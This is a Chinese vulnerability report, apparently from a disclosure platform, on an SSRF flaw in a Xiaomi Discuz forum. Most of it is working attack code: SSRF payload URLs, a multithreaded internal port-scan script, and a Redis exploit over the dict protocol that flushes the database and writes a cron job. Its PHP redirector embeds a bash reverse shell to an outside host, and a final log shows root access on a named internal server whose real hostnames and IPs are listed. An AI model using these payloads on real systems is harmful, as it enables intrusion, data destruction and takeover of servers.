小米某处SSRF漏洞(可内网SHELL 附多线程Fuzz脚本)

1 存在漏洞位置,Discuz 论坛SSRF漏洞

http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/302.php?data=helo.jpg[/img]

2 服务器支持dict、ftp、http协议

http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://fuzz.wuyun.com/302.php?s=dict%26ip=fuzz.wuyun.com%26port=8080%26data=helo.jpg[/img]

3 通过信息泄露找到内网地址

phpinfo() 泄露服务器ip地址 http://game.xiaomi.com/activity/info.php

_SERVER["SERVER_ADDR"]    10.105.44.71
_SERVER["SERVER_PORT"]    8080
_SERVER["SERVER_NAME"]    g.mi.com
_SERVER["REDIRECT_STATUS"]    200
_SERVER["SCRIPT_FILENAME"]    /home/work/game.xiaomi.com/activity/info.php
_SERVER["HTTP_HOST"]    game.xiaomi.com

poc

4 内网服务探测规则原理分析

http://fuzz.wuyun.com/302.php?url=dict://10.105.44.71:8080

访问存在开放的8080端口,网页在1s内加载完成

http://fuzz.wuyun.com/302.php?url=ftp://10.105.44.71:8080

利用ftp协议访问开放的8080端口,网页保持Keep-Alive状态,直到出发nginx的超时

http://fuzz.wuyun.com/302.php?url=dict://10.105.44.71:11011

访问不存在的端口11011,触发了小米nginx的超时, 3.1s内加载完成 也就是说,我们可以通过页面加载完成时间,来探测内网开放的端口服务

5 Know it, then Hack it

通过python的requests,设置一个timeout值,只要http请求2.8秒内没有响应,直接断开,如果成功响应,就说明端口开放

#!/usr/bin/env python
# encoding: utf-8
# email: [email protected]
import requests
import time
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import threading
import Queue
threads_count = 20
scheme = 'dict'
port = '6379'
ip_block = '10.105'
class WyWorker(threading.Thread):
    def __init__(self,queue):
        threading.Thread.__init__(self)
        self.queue = queue
    def run(self):
        while True:
            if self.queue.empty():
                break
            try:
                url = self.queue.get_nowait()
                content = requests.get(url, timeout=2.8).content
                print url, 'OPEN', len(content)
            except requests.exceptions.ReadTimeout:
                pass
            except requests.exceptions.ConnectTimeout:
                pass
            except Exception, e:
                break
queue = Queue.Queue()
for c in xrange(0,255):
    for d in xrange(0,255):    
        ip = '{0}.{1}.{2}'.format(ip_block,c,d)
        payload = 'http://fuzz.wuyun.com/302.php?s={scheme}%26ip={ip}%26port={port}%26data=helo.jpg'.format(
            scheme=scheme,
            ip=ip, 
            port=port
            )
        url = "http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]{payload}[/img]".format(
            payload=payload)
        queue.put(url)
threads = []
for i in xrange(threads_count):
    threads.append(WyWorker(queue))
for t in threads:
    t.start()
for t in threads:
    t.join()

6 6379 端口开放结果

lg-sec-weblog01.bj (10.105.0.23)
lg-miui-ad-se51.bj (10.105.0.24)
lg-im-micloud-pns09.bj (10.105.3.60)
lg-im-micloud-pns10.bj (10.105.3.61)
lg-im-mipush-xmq74.bj (10.105.3.62)
lg-miui-fc-mr02.bj (10.105.3.80)

7 使用dict协议进行远程利用

#!/usr/bin/env python
# coding=utf-8
import requests
host = '10.105.0.23'
port = '6379'
bhost = 'fuzz.wuyun.com'
bport = '443'
vul_httpurl = 'http://www.miui.com/forum.php?mod=ajax&action=downremoteimg&message=[img]'
_location = 'http://fuzz.wuyun.com/302.php'
shell_location = 'http://fuzz.wuyun.com/shell.php'
#1 flush db
_payload = '?s=dict%26ip={host}%26port={port}%26data=flushall'.format(
    host = host,
    port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print len(requests.get(exp_uri).content)
#2 set crontab command
_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport={bport}'.format(
    host = host,
    port = port,
    bhost = bhost,
    bport = bport)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(shell_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print len(requests.get(exp_uri).content)
#3 config set dir /var/spool/cron/
_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dir:/var/spool/cron/'.format(
    host = host,
    port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print len(requests.get(exp_uri).content)
#4 config set dbfilename root
_payload = '?s=dict%26ip={host}%26port={port}%26data=config:set:dbfilename:root'.format(
    host = host,
    port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print len(requests.get(exp_uri).content)
#5 save to file
_payload = '?s=dict%26ip={host}%26port={port}%26data=save'.format(
    host = host,
    port = port)
exp_uri = '{vul_httpurl}{0}{1}%23helo.jpg[/img]'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri
print len(requests.get(exp_uri).content)

附加补充源码

302.php

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>

shell.php

<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\"");
?>

后话,成功获取到SHELL

[root@localhost wyssrf]# nc -l -vv 443
Connection from 42.62.103.30 port 443 [tcp/https] accepted
bash: no job control in this shell
[root@lg-sec-weblog01 ~]# id
id
uid=0(root) gid=0(root) groups=0(root)
[root@lg-sec-weblog01 ~]# /sbin/ifconfig -a
/sbin/ifconfig -a
eth0      Link encap:Ethernet  HWaddr EC:F4:BB:C3:EA:10  
          inet addr:10.105.0.23  Bcast:10.105.0.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:111088533 errors:0 dropped:0 overruns:0 frame:0
          TX packets:158878520 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:45520794026 (42.3 GiB)  TX bytes:196616141142 (183.1 GiB)
          Memory:dcb00000-dcc00000 
eth1      Link encap:Ethernet  HWaddr EC:F4:BB:C3:EA:11  
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
          Memory:dcc00000-dcd00000 
eth2      Link encap:Ethernet  HWaddr EC:F4:BB:C3:EA:12  
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
          Memory:dcd00000-dce00000 
eth3      Link encap:Ethernet  HWaddr EC:F4:BB:C3:EA:13  
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)
          Memory:dce00000-dcf00000 
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:75857851 errors:0 dropped:0 overruns:0 frame:0
          TX packets:75857851 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:76991909461 (71.7 GiB)  TX bytes:76991909461 (71.7 GiB)
[root@lg-sec-weblog01 ~]# last -20
last -20
root     pts/0        10.21.100.82     Sat Oct  3 16:31 - 05:01  (12:29)    
root     pts/0        10.21.100.82     Tue Sep 22 14:49 - 14:49  (00:00)    
root     pts/0        10.21.100.81     Fri Sep 18 16:52 - 05:01  (12:08)    
root     pts/0        10.200.100.33    Wed Sep  2 12:23 - 15:21  (02:58)    
root     pts/0        10.200.100.33    Wed Sep  2 12:06 - 12:07  (00:01)    
root     pts/0        10.21.100.81     Tue Sep  1 10:45 - 11:20  (00:35)    
root     pts/0        10.200.100.33    Wed Aug 26 11:30 - 15:26  (03:56)    
root     pts/1        10.21.100.82     Fri Aug 21 04:19 - 05:01  (00:41)    
root     pts/0        10.21.100.82     Thu Aug 20 11:30 - 05:01  (17:30)    
root     pts/0        10.21.100.82     Wed Aug 19 11:14 - 05:01  (17:46)    
root     pts/0        10.21.100.82     Fri Aug 14 10:48 - 05:01  (18:12)    
root     pts/0        10.21.100.82     Mon Aug 10 09:00 - 05:01  (20:00)    
root     pts/0        10.21.100.82     Sun Aug  9 20:24 - 05:01  (08:36)    
root     pts/1        10.200.100.33    Fri Aug  7 10:48 - 14:49  (04:00)    
root     pts/0        10.21.100.82     Fri Aug  7 09:19 - 05:01  (19:41)    
root     pts/0        10.21.100.82     Thu Aug  6 09:05 - 05:01  (19:55)    
root     pts/0        10.21.100.82     Wed Jul 29 10:32 - 05:01  (18:28)    
root     pts/0        10.21.100.82     Tue Jul 28 20:33 - 05:01  (08:27)    
root     pts/0        10.21.100.82     Tue Jul 28 15:51 - 20:33  (04:42)    
root     pts/0        10.21.100.82     Tue Jul 28 15:50 - 15:51  (00:00)    
wtmp begins Fri Apr 10 14:00:41 2015
[root@lg-sec-weblog01 ~]# rm /var/spool/cron/root
rm /var/spool/cron/root
[root@lg-sec-weblog01 ~]#

results matching ""

    No results matching ""